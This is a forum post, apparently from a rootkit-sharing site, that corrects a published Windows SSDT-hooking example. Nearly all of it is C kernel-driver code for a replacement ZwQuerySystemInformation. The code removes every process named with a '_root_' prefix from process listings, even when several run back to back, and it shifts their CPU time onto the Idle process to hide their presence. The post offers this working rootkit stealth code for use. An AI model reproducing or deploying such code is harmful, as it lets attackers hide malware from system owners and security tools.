SSDT hook example (hiding processes) correction By: Orkblutt

Hi all,

just to make a little correction on that example ( http://www.rootkit.com/vault/fuzen_op/HideProcessesHookMDL.zip )

I've noticed that when some intances of the process we want to hide are running contigous, that example code is missing something and not hiding all instances.

there's a way to make the job correctly:


///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".

NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );

if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// This is a query for the process list.
// Look for process names that start with
// '_root_' and filter them out.

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;


while(curr)
{
int bContigousInstance = 0;
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;


if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
{
//check if the next process need to be hidded
if(((struct _SYSTEM_PROCESSES *)((char *)curr + curr->NextEntryDelta))->ProcessName.Buffer != NULL)
if( 0 == memcmp (((struct _SYSTEM_PROCESSES *)((char *)curr + curr->NextEntryDelta))->ProcessName.Buffer, L"_root_", 12))
bContigousInstance = 1;
prev->NextEntryDelta += curr->NextEntryDelta;
}
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
if(((struct _SYSTEM_PROCESSES *)((char *)curr + curr->NextEntryDelta))->ProcessName.Buffer != NULL)
if( 0 == memcmp (((struct _SYSTEM_PROCESSES *)((char *)curr + curr->NextEntryDelta))->ProcessName.Buffer, L"_root_", 12))
bContigousInstance = 1;
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}

if(!bContigousInstance)
prev = curr;

if(curr->NextEntryDelta)
((char *)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}

}
return ntStatus;
}



enjoy...